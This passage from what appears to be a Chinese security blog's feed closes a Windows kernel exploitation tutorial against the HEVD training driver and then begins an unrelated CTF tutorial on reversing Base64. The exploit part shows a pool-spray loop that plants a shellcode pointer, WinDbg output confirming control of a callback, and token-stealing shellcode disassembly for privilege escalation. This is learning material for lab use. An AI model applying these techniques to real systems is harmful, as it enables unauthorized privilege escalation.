class="line">        ULONG_PTR Value;</span><br><span class="line">        FunctionPointer Callback;</span><br><span class="line">        ULONG_PTR Buffer[<span class="number">58</span>];</span><br><span class="line">&#125; UNINITIALIZED_HEAP_VARIABLE, *PUNINITIALIZED_HEAP_VARIABLE;</span><br></pre></td></tr></table></figure><p>我们可以确定回调函数在 +0x4 的位置，放入我们的shellcode之后我们在利用循环中的 i 设置不同的 lpname 就行啦</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; <span class="number">256</span>; i++)</span><br><span class="line">&#123;</span><br><span class="line">*(PDWORD)(lpName + <span class="number">0x4</span>) = (DWORD)&amp; ShellCode;</span><br><span class="line">*(PDWORD)(lpName + <span class="number">0xf0</span> - <span class="number">4</span>) = <span class="number">0</span>;</span><br><span class="line">*(PDWORD)(lpName + <span class="number">0xf0</span> - <span class="number">3</span>) = <span class="number">0</span>;</span><br><span class="line">*(PDWORD)(lpName + <span class="number">0xf0</span> - <span class="number">2</span>) = <span class="number">0</span>;</span><br><span class="line">*(PDWORD)(lpName + <span class="number">0xf0</span> - <span class="number">1</span>) = i;</span><br><span class="line">Event_OBJECT[i] = CreateEventW(<span class="literal">NULL</span>, FALSE, FALSE, lpName);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>最后我们整合一下代码就可以提权了，总结一下步骤</p><ul><li>初始化句柄等结构</li><li>构造 lpName 结构</li><li>调用<code>CreateEventW</code>进行喷射</li><li>调用<code>TriggerUninitializedHeapVariable</code>函数触发漏洞</li><li>调用cmd提权</li></ul><p>提权的过程中你可以参考下面几个地方查看相应的位置是否正确</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line">0: kd&gt; g</span><br><span class="line">****** HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE ******</span><br><span class="line">[+] Pool Tag: &apos;kcaH&apos;</span><br><span class="line">[+] Pool Type: PagedPool</span><br><span class="line">[+] Pool Size: 0xF0</span><br><span class="line">[+] Pool Chunk: 0x909FE380</span><br><span class="line">[+] UserValue: 0xBAD0B0B1</span><br><span class="line">[+] UninitializedHeapVariable Address: 0x97E80AB8</span><br><span class="line">[+] Triggering Uninitialized Heap Variable Vulnerability</span><br><span class="line">[+] UninitializedHeapVariable-&gt;Value: 0x00000000</span><br><span class="line">[+] UninitializedHeapVariable-&gt;Callback: 0x00371040</span><br><span class="line">Breakpoint 0 hit</span><br><span class="line">8d6a3e83 ff5004          call    dword ptr [eax+4]</span><br><span class="line">1: kd&gt; !pool 0x909FE380 // 查看池布局</span><br><span class="line">unable to get nt!ExpHeapBackedPoolEnabledState</span><br><span class="line">Pool page 909fe380 region is Paged pool</span><br><span class="line"> 909fe000 size:  1e0 previous size:    0  (Free)       AlSe</span><br><span class="line"> 909fe1e0 size:   28 previous size:  1e0  (Allocated)  MmSm</span><br><span class="line"> 909fe208 size:   80 previous size:   28  (Free)       NtFU</span><br><span class="line"> 909fe288 size:   18 previous size:   80  (Allocated)  Ntf0</span><br><span class="line"> 909fe2a0 size:   18 previous size:   18  (Free)       CMVI</span><br><span class="line"> 909fe2b8 size:   a8 previous size:   18  (Allocated)  CIcr</span><br><span class="line"> 909fe360 size:   18 previous size:   a8  (Allocated)  PfFK</span><br><span class="line">*909fe378 size:   f8 previous size:   18  (Allocated) *Hack</span><br><span class="line">Owning component : Unknown (update pooltag.txt)</span><br><span class="line"> 909fe470 size:  1d8 previous size:   f8  (Allocated)  FMfn</span><br><span class="line"> 909fe648 size:  4d0 previous size:  1d8  (Allocated)  CIcr</span><br><span class="line"> 909feb18 size:  4e8 previous size:  4d0  (Allocated)  CIcr</span><br><span class="line">1: kd&gt; dd 909fe470-8 // 查看下一个池</span><br><span class="line">909fe468  41414141 000e0000 063b021f 6e664d46</span><br><span class="line">909fe478  01d0f204 00000000 0000032e 00000000</span><br><span class="line">909fe488  909fe488 00000000 00000000 87ac918c</span><br><span class="line">909fe498  00000000 00000000 00018000 00000040</span><br><span class="line">909fe4a8  00000001 0160015e 909fe4e8 002e002e</span><br><span class="line">909fe4b8  909fe4e8 00000000 00000000 00000000</span><br><span class="line">909fe4c8  00000000 00000000 00000000 00000000</span><br><span class="line">909fe4d8  00000000 00000000 00000000 00000002</span><br><span class="line">1: kd&gt; u 0x00371040 // 查看shellcode位置是否正确</span><br><span class="line">00371040 53              push    ebx</span><br><span class="line">00371041 56              push    esi</span><br><span class="line">00371042 57              push    edi</span><br><span class="line">00371043 60              pushad</span><br><span class="line">00371044 64a124010000    mov     eax,dword ptr fs:[00000124h]</span><br><span class="line">0037104a 8b4050          mov     eax,dword ptr [eax+50h]</span><br><span class="line">0037104d 8bc8            mov     ecx,eax</span><br><span class="line">0037104f ba04000000      mov     edx,4</span><br></pre></td></tr></table></figure><p>提权效果如下，详细的代码参考<a href="https://github.com/ThunderJie/Windows-Kernel-Exploit/blob/master/HEVD/Uninitialized-Heap-Variable/UninitializedHeapVariable/UninitializedHeapVariable.c" target="_blank" rel="noopener">这里</a></p><p><img src="/2019/06/28/Windows-Kernel-Exploit/15.gif" alt="test"></p><h1 id="0x10：后记"><a href="#0x10：后记" class="headerlink" title="0x10：后记"></a>0x10：后记</h1><p>本系列文章首发于先知社区，为了方便自己查阅，这篇是我重新整理之后的文章</p><p><strong>参考链接</strong></p><ol><li><p><a href="https://rootkits.xyz/blog/2018/04/kernel-use-after-free/" target="_blank" rel="noopener">https://rootkits.xyz/blog/2018/04/kernel-use-after-free/</a></p></li><li><p><a href="https://redogwu.github.io/2018/11/02/windows-kernel-exploit-part-1/" target="_blank" rel="noopener">https://redogwu.github.io/2018/11/02/windows-kernel-exploit-part-1/</a></p></li><li><p><a href="https://media.blackhat.com/bh-dc-11/Mandt/BlackHat_DC_2011_Mandt_kernelpool-wp.pdf" target="_blank" rel="noopener">https://media.blackhat.com/bh-dc-11/Mandt/BlackHat_DC_2011_Mandt_kernelpool-wp.pdf</a></p></li><li><p><a href="https://www.cnblogs.com/kuangke/p/5818839.html" target="_blank" rel="noopener">https://www.cnblogs.com/kuangke/p/5818839.html</a></p></li><li><p><a href="https://www.cnblogs.com/flycat-2016/p/5449738.html" target="_blank" rel="noopener">https://www.cnblogs.com/flycat-2016/p/5449738.html</a></p></li><li><p><a href="https://rootkits.xyz/blog/2017/11/kernel-pool-overflow/" target="_blank" rel="noopener">https://rootkits.xyz/blog/2017/11/kernel-pool-overflow/</a></p></li></ol>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;环境搭建&quot;&gt;&lt;a href=&quot;#环境搭建&quot; class=&quot;headerlink&quot; title=&quot;环境搭建&quot;&gt;&lt;/a&gt;环境搭建&lt;/h1&gt;&lt;h2 id=&quot;0x00：前言&quot;&gt;&lt;a href=&quot;#0x00：前言&quot; class=&quot;headerlink&quot; title=&quot;0x0
      
    
    </summary>
    
      <category term="Windows Kernel" scheme="https://thunderjie.github.io/categories/Windows-Kernel/"/>
    
      <category term="Learning" scheme="https://thunderjie.github.io/categories/Windows-Kernel/Learning/"/>
    
    
      <category term="Windows Kernel" scheme="https://thunderjie.github.io/tags/Windows-Kernel/"/>
    
  </entry>
  
  <entry>
    <title>Reverse Cryptography</title>
    <link href="https://thunderjie.github.io/2019/05/21/Reverse%20Cryptography/"/>
    <id>https://thunderjie.github.io/2019/05/21/Reverse Cryptography/</id>
    <published>2019-05-21T06:40:55.000Z</published>
    <updated>2020-02-09T03:56:21.061Z</updated>
    
    <content type="html"><![CDATA[<h1 id="0x00：Introduction"><a href="#0x00：Introduction" class="headerlink" title="0x00：Introduction"></a>0x00：Introduction</h1><p>本片文章主要逆向一些CTF中的常见算法，对算法的原理和实现结合进行分析，总结一些常用的方法以供参考</p><h1 id="0x01：Base-series"><a href="#0x01：Base-series" class="headerlink" title="0x01：Base series"></a>0x01：Base series</h1><h2 id="0x01：Base64"><a href="#0x01：Base64" class="headerlink" title="0x01：Base64"></a>0x01：Base64</h2><h3 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h3><p>Base64可以将ASCII字符串或者是二进制编码成只包含A—Z，a—z，0—9，+，/ 这64个字符（ 26个大写字母，26个小写字母，10个数字，1个+，一个 / 刚好64个字符）。这64个字符用6个bit位就可以全部表示出来，一个字节有8个bit 位，那么还剩下两个bit位，这两个bit位用0来补充。其实，一个Base64字符仍然是8个bit位，但是有效部分只有右边的6个 bit，左边两个永远是0。Base64的编码规则是将3个8位字节(3×8=24位)编码成4个6位的字节(4×6=24位)，之后在每个6位字节前面，补充两个0，形成4个8位字节的形式，那么取值范围就变成了0~63。又因为2的6次方等于64，所以每6个位组成一个单元。一般在CTF逆向题目中base64的加密过程主要是用自定义的索引表，所以如果能一眼能看出是base64加密就会节约很多时间。</p><h3 id="加密过程"><a href="#加密过程" class="headerlink" title="加密过程"></a>加密过程</h3><ul><li>base64的编码都是按字符串长度，以每3个8bit的字符为一组，</li><li>然后针对每组，首先获取每个字符的ASCII编码，</li><li>然后将ASCII编码转换成8bit的二进制，得到一组3*8=24bit的字节</li><li>然后再将这24bit划分为4个6bit的字节，并在每个6bit的字节前面都填两个高位0，得到4个8bit的字节</li><li>然后将这4个8bit的字节转换成10进制，对照Base64编码表 ，得到对应编码后的字符。</li></ul><p>索引表如下</p><table><thead><tr><th><strong>索引</strong></th><th><strong>对应字符</strong></th><th><strong>索引</strong></th><th><strong>对应字符</strong></th><th><strong>索引</strong></th><th><strong>对应字符</strong></th><th><strong>索引</strong></th><th><strong>对应字符</strong></th></tr></thead><tbody><tr><td>0</td><td><strong>A</strong></td><td>17</td><td><strong>R</strong></td><td>34</td><td><strong>i</strong></td><td>51</td><td><strong>z</strong></td></tr><tr><td>1</td><td><strong>B</strong></td><td>18</td><td><strong>S</strong></td><td>35</td><td><strong>j</strong></td><td>52</td><td><strong>0</strong></td></tr><tr><td>2</td><td><strong>C</strong></td><td>19</td><td><strong>T</strong></td><td>36</td><td><strong>k</strong></td><td>53</td><td><strong>1</strong></td></tr><tr><td>3</td><td><strong>D</strong></td><td>20</td><td><strong>U</strong></td><td>37</td><td><strong>l</strong></td><td>54</td><td><strong>2</strong></td></tr><tr><td>4</td><td><strong>E</strong></td><td>21</td><td><strong>V</strong></td><td>38</td><td><strong>m</strong></td><td>55</td><td><strong>3</strong></td></tr><tr><td>5</td><td><strong>F</strong></td><td>22</td><td><strong>W</strong></td><td>39</td><td><strong>n</strong></td><td>56</td><td><strong>4</strong></td></tr><tr><td>6</td><td><strong>G</strong></td><td>23</td><td><strong>X</strong></td><td>40</td><td><strong>o</strong></td><td>57</td><td><strong>5</strong></td></tr><tr><td>7</td><td><strong>H</strong></td><td>24</td><td><strong>Y</strong></td><td>41</td><td><strong>p</strong></td><td>58</td><td><strong>6</strong></td></tr><tr><td>8</td><td><strong>I</strong></td><td>25</td><td><strong>Z</strong></td><td>42</td><td><strong>q</strong></td><td>59</td><td><strong>7</strong></td></tr><tr><td>9</td><td><strong>J</strong></td><td>26</td><td><strong>a</strong></td><td>43</td><td><strong>r</strong></td><td>60</td><td><strong>8</strong></td></tr><tr><td>10</td><td><strong>K</strong></td><td>27</td><td><strong>b</strong></td><td>44</td><td><strong>s</strong></td><td>61</td><td><strong>9</strong></td></tr><tr><td>11</td><td><strong>L</strong></td><td>28</td><td><strong>c</strong></td><td>45</td><td><strong>t</strong></td><td>62</td><td><strong>+</strong></td></tr><tr><td>12</td><td><strong>M</strong></td><td>29</td><td><strong>d</strong></td><td>46</td><td><strong>u</strong></td><td>63</td><td><strong>/</strong></td></tr><tr><td>13</td><td><strong>N</strong></td><td>30</td><td><strong>e</strong></td><td>47</td><td><strong>v</strong></td><td></td><td></td></tr><tr><td>14</td><td><strong>O</strong></td><td>31</td><td><strong>f</strong></td><td>48</td><td><strong>w</strong></td><td></td><td></td></tr><tr><td>15</td><td><strong>P</strong></td><td>32</td><td><strong>g</strong></td><td>49</td><td><strong>x</strong></td><td></td><td></td></tr><tr><td>16</td><td><strong>Q</strong></td><td>33</td><td><strong>h</strong></td><td>50</td><td><strong>y</strong></td><td></td></tr></tbody></table><h3 id="例子"><a href="#例子" class="headerlink" title="例子"></a>例子</h3><p>第一个例子以base64加密SLF为例子，过程如下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">字符串      S       L        F</span><br><span class="line">ASCII      83      80       76</span><br><span class="line">二进制   01010011‬  01001100  01000110</span><br><span class="line">合并       01010011‬0100110001000110</span><br><span class="line">6位      010100     110100 110001    000110</span><br><span class="line">补零 00010100   00110100   00110001 00000110</span><br><span class="line">进制       20        52         49         6</span><br><span class="line">对照       U         0          x          G</span><br><span class="line"></span><br><span class="line">SLF -&gt; U0xG</span><br></pre></td></tr></table></figure><p>第二个例子以base64加密M为例子，过程如下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">字符串      M</span><br><span class="line">ASCII      77</span><br><span class="line">二进进   01001101</span><br><span class="line">合并     01001101</span><br><span class="line">6位      010011     01</span><br><span class="line">补零 00010011   00010000</span><br><span class="line">进制       19        16</span><br><span class="line">对照       T         Q         =         =</span><br><span class="line"></span><br><span class="line">M -&gt; TQ==</span><br></pre></td></tr></table></figure><h3 id="实现"><a href="#实现" class="headerlink" title="实现"></a>实现</h3><p>最上面的base64char索引表可以自定义，这里用c实现</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;string.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 全局常量定义</span></span><br><span class="line"><span class="keyword">const</span> <span class="keyword">char</span> * base64char = <span class="string">"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"</span>;</span><br><span class="line"><span class="keyword">const</span> <span class="keyword">char</span> padding_char = <span class="string">'='</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">/*编码代码</span></span><br><span class="line"><span class="comment">* const unsigned char * sourcedata， 源数组</span></span><br><span class="line"><span class="comment">* char * base64 ，码字保存</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">base64_encode</span><span class="params">(<span class="keyword">const</span> <span class="keyword">unsigned</span> <span class="keyword">char</span> * sourcedata, <span class="keyword">char</span> * base64)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="keyword">int</span> i = <span class="number">0</span>, j = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">char</span> trans_index = <span class="number">0</span>;    <span class="comment">// 索引是8位，但是高两位都为0</span></span><br><span class="line"><span class="keyword">const</span> <span class="keyword">int</span> datalength = <span class="built_in">strlen</span>((<span class="keyword">const</span> <span class="keyword">char</span>*)sourcedata);</span><br><span class="line"><span class="keyword">for</span> (; i &lt; datalength; i += <span class="number">3</span>)&#123;</span><br><span class="line"><span class="comment">// 每三个一组，进行编码</span></span><br><span class="line"><span class="comment">// 要编码的数字的第一个</span></span><br><span class="line">trans_index = ((sourcedata[i] &gt;&gt; <span class="number">2</span>) &amp; <span class="number">0x3f</span>);</span><br><span class="line">base64[j++] = base64char[(<span class="keyword">int</span>)trans_index];</span><br><span class="line"><span class="comment">// 第二个</span></span><br><span class="line">trans_index = ((sourcedata[i] &lt;&lt; <span class="number">4</span>) &amp; <span class="number">0x30</span>);</span><br><span class="line"><span class="keyword">if</span> (i + <span class="number">1</span> &lt; datalength)&#123;</span><br><span class="line">trans_index |= ((sourcedata[i + <span class="number">1</span>] &gt;&gt; <span class="number">4</span>) &amp; <span class="number">0x0f</span>);</span><br><span class="line">base64[j++] = base64char[(<span class="keyword">int</span>)trans_index];</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span>&#123;</span><br><span class="line">base64[j++] = base64char[(<span class="keyword">int</span>)trans_index];</span><br><span class="line"></span><br><span class="line">base64[j++] = padding_char;</span><br><span class="line"></span><br><span class="line">base64[j++] = padding_char;</span><br><span class="line"></span><br><span class="line"><span class="keyword">break</span>;   <span class="comment">// 超出总长度，可以直接break</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// 第三个</span></span><br><span class="line">trans_index = ((sourcedata[i + <span class="number">1</span>] &lt;&lt; <span class="number">2</span>) &amp; <span class="number">0x3c</span>);</span><br><span class="line"><span class="keyword">if</span> (i + <span class="number">2</span> &lt; datalength)&#123; <span class="comment">// 有的话需要编码2个</span></span><br><span class="line">trans_index |= ((sourcedata[i + <span class="number">2</span>] &gt;&gt; <span class="number">6</span>) &amp; <span class="number">0x03</span>);</span><br><span class="line">base64[j++] = base64char[(<span class="keyword">int</span>)trans_index];</span><br><span class="line"></span><br><span class="line">trans_index = sourcedata[i + <span class="number">2</span>] &amp; <span class="number">0x3f</span>;</span><br><span class="line">base64[j++] = base64char[(<span class="keyword">int</span>)trans_index];</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span>&#123;</span><br><span class="line">base64[j++] = base64char[(<span class="keyword">int</span>)trans_index];</span><br><span class="line"></span><br><span class="line">base64[j++] = padding_char;</span><br><span class="line"></span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">base64[j] = <span class="string">'\0'</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/** 在字符串中查询特定字符位置索引</span></span><br><span class="line"><span class="comment">* const char *str ，字符串</span></span><br><span class="line"><span class="comment">* char c，要查找的字符</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">num_strchr</span><span class="params">(<span class="keyword">const</span> <span class="keyword">char</span> *str, <span class="keyword">char</span> c)</span> <span class="comment">// </span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="keyword">const</span> <span class="keyword">char</span> *pindex = <span class="built_in">strchr</span>(str, c);</span><br><span class="line"><span class="keyword">if</span> (<span class="literal">NULL</span> == pindex)&#123;</span><br><span class="line"><span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> pindex - str;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">/* 解码</span></span><br><span class="line"><span class="comment">* const char * base64 码字</span></span><br><span class="line"><span class="comment">* unsigned char * dedata， 解码恢复的数据</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">base64_decode</span><span class="params">(<span class="keyword">const</span> <span class="keyword">char</span> * base64, <span class="keyword">unsigned</span> <span class="keyword">char</span> * dedata)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="keyword">int</span> i = <span class="number">0</span>, j = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">int</span> trans[<span class="number">4</span>] = &#123; <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span> &#125;;</span><br><span class="line"><span class="keyword">for</span> (; base64[i] != <span class="string">'\0'</span>; i += <span class="number">4</span>)&#123;</span><br><span class="line"><span class="comment">// 每四个一组，译码成三个字符</span></span><br><span class="line">trans[<span class="number">0</span>] = num_strchr(base64char, base64[i]);</span><br><span class="line">trans[<span class="number">1</span>] = num_strchr(base64char, base64[i + <span class="number">1</span>]);</span><br><span class="line"><span class="comment">// 1/3</span></span><br><span class="line">dedata[j++] = ((trans[<span class="number">0</span>] &lt;&lt; <span class="number">2</span>) &amp; <span class="number">0xfc</span>) | ((trans[<span class="number">1</span>] &gt;&gt; <span class="number">4</span>) &amp; <span class="number">0x03</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (base64[i + <span class="number">2</span>] == <span class="string">'='</span>)&#123;</span><br><span class="line"><span class="keyword">continue</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span>&#123;</span><br><span class="line">trans[<span class="number">2</span>] = num_strchr(base64char, base64[i + <span class="number">2</span>]);</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// 2/3</span></span><br><span class="line">dedata[j++] = ((trans[<span class="number">1</span>] &lt;&lt; <span class="number">4</span>) &amp; <span class="number">0xf0</span>) | ((trans[<span class="number">2</span>] &gt;&gt; <span class="number">2</span>) &amp; <span class="number">0x0f</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (base64[i + <span class="number">3</span>] == <span class="string">'='</span>)&#123;</span><br><span class="line"><span class="keyword">continue</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span>&#123;</span><br><span class="line">trans[<span class="number">3</span>] = num_strchr(base64char, base64[i + <span class="number">3</span>]);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 3/3</span></span><br><span class="line">dedata[j++] = ((trans[<span class="number">2</span>] &lt;&lt; <span class="number">6</span>) &amp; <span class="number">0xc0</span>) | (trans[<span class="number">3</span>] &amp; <span class="number">0x3f</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">dedata[j] = <span class="string">'\0'</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 测试</span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="keyword">const</span> <span class="keyword">unsigned</span> <span class="keyword">char</span> str[] = <span class="string">"a45rbcd"</span>;</span><br><span class="line"><span class="keyword">const</span> <span class="keyword">unsigned</span> <span class="keyword">char</span> *sourcedata = str;</span><br><span class="line"><span class="keyword">char</span> base64[<span class="number">128</span>];</span><br><span class="line">base64_encode(sourcedata, base64);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"编码：%s\n"</span>, base64);</span><br><span class="line"></span><br><span class="line"><span class="keyword">char</span> dedata[<span class="number">128</span>];</span><br><span class="line"></span><br><span class="line">base64_decode(base64, (<span class="keyword">unsigned</span> <span class="keyword">char</span>*)dedata);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"译码：%s"</span>, dedata);</span><br><span class="line"></span><br><span class="line">getchar();</span><br><span class="line">getchar();</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>输入如下</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">C:\Users\thunder&gt;<span class="string">"D:\AlgorithmTest.exe"</span></span><br><span class="line">编码：YTQ1cmJjZA==</span><br><span class="line">译码：a45rbcd</span><br><span class="line"></span><br><span class="line">C:\Users\thunder&gt;</span><br></pre></td></tr></table></figure><p>上面的代码是base64加密和解密字符串<code>a45rbcd</code>我们用IDA查看，base64char即是我们的索引表</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line">int __cdecl base64_encode(const char *sourcedata, char *base64)</span><br><span class="line">&#123;</span><br><span class="line">  int v2; // STEC_4</span><br><span class="line">  int v3; // STEC_4</span><br><span class="line">  int v4; // STEC_4</span><br><span class="line">  signed int datalength; // [esp+D0h] [ebp-2Ch]</span><br><span class="line">  unsigned __int8 trans_index; // [esp+DFh] [ebp-1Dh]</span><br><span class="line">  unsigned __int8 trans_indexa; // [esp+DFh] [ebp-1Dh]</span><br><span class="line">  int j; // [esp+E8h] [ebp-14h]</span><br><span class="line">  int ja; // [esp+E8h] [ebp-14h]</span><br><span class="line">  int jb; // [esp+E8h] 